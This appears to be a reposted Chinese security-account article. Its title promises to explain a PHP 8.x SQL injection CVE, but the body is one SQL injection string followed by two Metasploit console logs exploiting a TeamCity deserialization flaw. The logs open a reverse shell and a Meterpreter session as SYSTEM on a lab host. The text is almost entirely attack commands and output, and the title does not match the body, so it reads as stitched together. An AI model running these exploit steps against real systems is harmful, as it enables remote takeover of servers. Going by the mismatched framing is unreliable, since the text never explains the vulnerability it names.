PHP 8.x系列SQL注入漏洞CVE-2026-17543详解:核心问题出在参数转义上

SELECT * FROM"user"WHERE"name"='zzz\''OR1=1--'

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > show optionsModule options (exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077):   Name Current Setting Required Description   ---- --------------- -------- -----------   Proxies no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks4, socks5, socks5h   RHOSTS 192.168.86.171   yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h                                         tml   RPORT 8111             yes The target port (TCP)   SSL false no        Negotiate SSL/TLS for outgoing connections   TARGETURI / yes The base path to TeamCity   VHOST no        HTTP server virtual hostPayload options (java/jsp_shell_reverse_tcp):   Name Current Setting Required Description   ---- --------------- -------- -----------   LHOST 192.168.86.122   yes The listen address (an interface may be specified)   LPORT 4444             yes The listen port   SHELL no        The systemshellto use.Exploit target:   Id Name   -- ----0   Java Server PageView the full module info with the info, or info -d command.msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > exploit [*] Started reverse TCP handler on192.168.86.122:4444[*] Running automatic check ("set AutoCheck false"to disable)[+] The target appears tobe vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.[*] Registering a TeamCity build agent[*] Sending the XStream deserialization payload[*] Requesting the JSPWS payload at /mkGCBzccnnf.jspws[+] The JSPWS payload was executed successfully[*] Command shell session 2 opened (192.168.86.122:4444 -> 192.168.86.171:49737) at 2026-08-1119:58:19 +0100Shell Banner:Microsoft Windows [Version 10.0.26100.32522](c) Microsoft Corporation. All rights reserved.-----c:\TeamCity\bin>whoamiwhoamint authority\systemc:\TeamCity\bin>

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > show options Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077):   Name Current Setting Required Description   ---- --------------- -------- -----------   Proxies no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks4, socks5, socks5h   RHOSTS 192.168.86.171yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h                                         tml   RPORT 8111yes       The target port (TCP)   SSL falseno        Negotiate SSL/TLS for outgoing connections   TARGETURI / yes       The base path to TeamCity   VHOST no        HTTP server virtual hostPayload options (cmd/windows/http/x64/meterpreter_reverse_tcp):   Name Current Setting Required Description   ---- --------------- -------- -----------   EXITFUNC process yes       Exit technique (Accepted: '', seh, thread, process, none)   EXTENSIONS no        Comma-separate list of extensions to load   EXTINIT no        Initialization strings for extensions   FETCH_COMMAND CERTUTIL yes       Command to fetch payload (Accepted: CURL, CERTUTIL)   FETCH_DELETE falseyes       Attempt to delete the binary after execution   FETCH_FILENAME yWXThZaCLZvA no        Name to use on remote system when storing payload; cannot contain spaces or slashes   FETCH_SRVHOST no        Local IP to use for serving payload   FETCH_SRVPORT 8080yes       Local port to use for serving payload   FETCH_URIPATH no        Local URI to use for serving payload   FETCH_WRITABLE_DIR %TEMP% yes       Remote writable dir to store payload; cannot contain spaces.   LHOST 192.168.86.122yes       The listen address (an interface may be specified)   LPORT 4444yes       The listen port   When FETCH_COMMAND is one of CURL:   Name Current Setting Required Description   ---- --------------- -------- -----------   FETCH_PIPE falseyes       Host both the binary payload and the command so it can be piped directly to the shell.Exploit target:   Id Name   -- ----1   Windows CommandView the full module info with the info, or info -d command.msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > exploit [*] Started reverse TCP handler on192.168.86.122:4444[*] Running automatic check ("set AutoCheck false" to disable)[+] The target appears to be vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.[*] Registering a TeamCity build agent[*] Sending the XStream deserialization payload[*] Requesting the JSPWS payload at /eltE.jspws[+] The JSPWS payload was executed successfully[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.171:49734) at 2026-08-1119:57:33 +0100meterpreter > getuidServer username: NT AUTHORITY\SYSTEMmeterpreter > sysinfoComputer : WIN-B0I6KV698LSOS : Windows Server 2025+ (10.0 Build 26100).Architecture : x64System Language : en_USDomain : WORKGROUPLogged On Users : 0Meterpreter : x64/windowsmeterpreter > pwdC:\TeamCity\binmeterpreter >

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安 

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)